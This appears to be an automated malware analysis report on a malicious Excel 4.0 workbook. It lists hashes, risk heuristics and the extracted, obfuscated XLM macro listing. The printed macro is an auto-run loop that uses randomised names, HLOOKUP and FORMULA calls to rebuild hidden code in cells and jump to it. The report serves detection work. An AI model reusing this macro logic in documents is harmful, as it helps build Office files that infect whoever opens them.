Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c85f1f5c2ccd66a7…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:36 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: e305dbb7bf025fd84a1ec69d90c6a97e SHA-1: e6d84b6bcd349b40d1c28bf0c6513e81d762a7d6 SHA-256: c85f1f5c2ccd66a7df20c2f6e949d09c45febba7964a2b7cfa9993863f9f66bd
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6555 bytes
SHA-256: 08e789eaff49dff6da1783a223e0837add07c1ad2b359ebd39da6e6e9fb9f9ec
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'qlITlJTRRjkB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  IkmqqEm
' 0018     24 LABEL : Cell Value, String Constant - AHlnpKdRy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A179 
' 0018     26 LABEL : Cell Value, String Constant - BIfQImmHdCV len=0 
' 0018     22 LABEL : Cell Value, String Constant - EGXsHeg len=0 
' 0018     23 LABEL : Cell Value, String Constant - JivHlGYt len=0 
' 0018     25 LABEL : Cell Value, String Constant - jWsLUlIdBG len=0 
' 0018     21 LABEL : Cell Value, String Constant - LsIlGh len=0 
' 0018     23 LABEL : Cell Value, String Constant - MaCZrTWx len=0 
' 0018     20 LABEL : Cell Value, String Constant - NfCjv len=0 
' 0018     26 LABEL : Cell Value, String Constant - NKBKrIBxJoU len=0 
' 0018     27 LABEL : Cell Value, String Constant - qlITlJTRRjkB len=0 
' 0018     26 LABEL : Cell Value, String Constant - qTyWwVcnnOo len=0 
' 0018     21 LABEL : Cell Value, String Constant - RxfjYl len=0 
' 0018     26 LABEL : Cell Value, String Constant - udzsJpJtSGT len=0 
' 0018     20 LABEL : Cell Value, String Constant - UkVXM len=0 
' 0018     23 LABEL : Cell Value, String Constant - ViJLpHeQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - wrYZwJfBUNl len=0 
' 0018     25 LABEL : Cell Value, String Constant - WYrLkByeBN len=0 
' 0018     25 LABEL : Cell Value, String Constant - wZagqZzYbP len=0 
' 0018     26 LABEL : Cell Value, String Constant - xnnCtUkfDcV len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZgmeaEYiHeu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  IkmqqEm,A99,"SET.NAME("qlITlJTRRjkB",VALUE("0"))",""
'  IkmqqEm,A102,"SET.NAME("qTyWwVcnnOo",qlITlJTRRjkB)",""
'  IkmqqEm,A104,"SET.NAME("NKBKrIBxJoU",qlITlJTRRjkB)",""
'  IkmqqEm,A109,"SET.NAME("xnnCtUkfDcV",COUNTA(ViJLpHeQ))",""
'  IkmqqEm,A111,"SET.NAME("udzsJpJtSGT",COUNTA(ZgmeaEYiHeu))",""
'  IkmqqEm,A113,[],""
'  IkmqqEm,A115,"SET.NAME("UkVXM","")",""
'  IkmqqEm,A119,"qTyWwVcnnOo",""
'  IkmqqEm,A122,"SET.NAME("WYrLkByeBN",HLOOKUP("*",ViJLpHeQ,qTyWwVcnnOo,FALSE))",""
'  IkmqqEm,A124,"wZagqZzYbP",""
'  IkmqqEm,A129,"SET.NAME("RxfjYl",qlITlJTRRjkB)",""
'  IkmqqEm,A131,[],""
'  IkmqqEm,A134,"RxfjYl",""
'  IkmqqEm,A137,"EGXsHeg",""
'  IkmqqEm,A142,"LsIlGh",""
'  IkmqqEm,A144,"BIfQImmHdCV",""
'  IkmqqEm,A148,"SET.NAME("MaCZrTWx",VALUE(HLOOKUP("*",ZgmeaEYiHeu,BIfQImmHdCV,FALSE)))",""
'  IkmqqEm,A150,"wrYZwJfBUNl",""
'  IkmqqEm,A152,"UkVXM",""
'  IkmqqEm,A154,"NKBKrIBxJoU",""
'  IkmqqEm,A156,NEXT(),""
'  IkmqqEm,A159,"AHlnpKdRy",""
'  IkmqqEm,A163,"SET.NAME("f",INT(T(FORMULA(T(UkVXM)&"",""&T(AHlnpKdRy)))))",""
'  IkmqqEm,A168,"jWsLUlIdBG",""
'  IkmqqEm,A172,NEXT(),""
'  IkmqqEm,A177,RETURN(),""
'  IkmqqEm,A206,"SET.NAME("JivHlGYt",A99)",""
'  IkmqqEm,A210,"ViJLpHeQ",""
'  IkmqqEm,A215,"SET.NAME("ZgmeaEYiHeu",R60C13)",""
'  IkmqqEm,A217,"SET.NAME("jWsLUlIdBG",225)",""
'  IkmqqEm,A222,"SET.NAME("NfCjv",1)",""
'  IkmqqEm,A224,JivHlGYt(),""
'  IkmqqEm,A225,HALT(),""

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